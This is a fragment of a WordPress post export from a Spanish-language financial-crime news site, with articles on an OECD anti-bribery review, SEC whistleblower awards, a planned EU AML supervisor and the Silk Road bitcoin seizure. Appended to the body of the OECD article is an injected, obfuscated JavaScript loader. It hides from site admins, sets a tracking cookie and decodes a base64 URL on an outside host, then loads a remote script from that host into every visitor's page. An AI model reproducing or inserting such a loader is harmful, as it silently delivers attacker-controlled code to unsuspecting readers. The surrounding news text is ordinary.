20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado 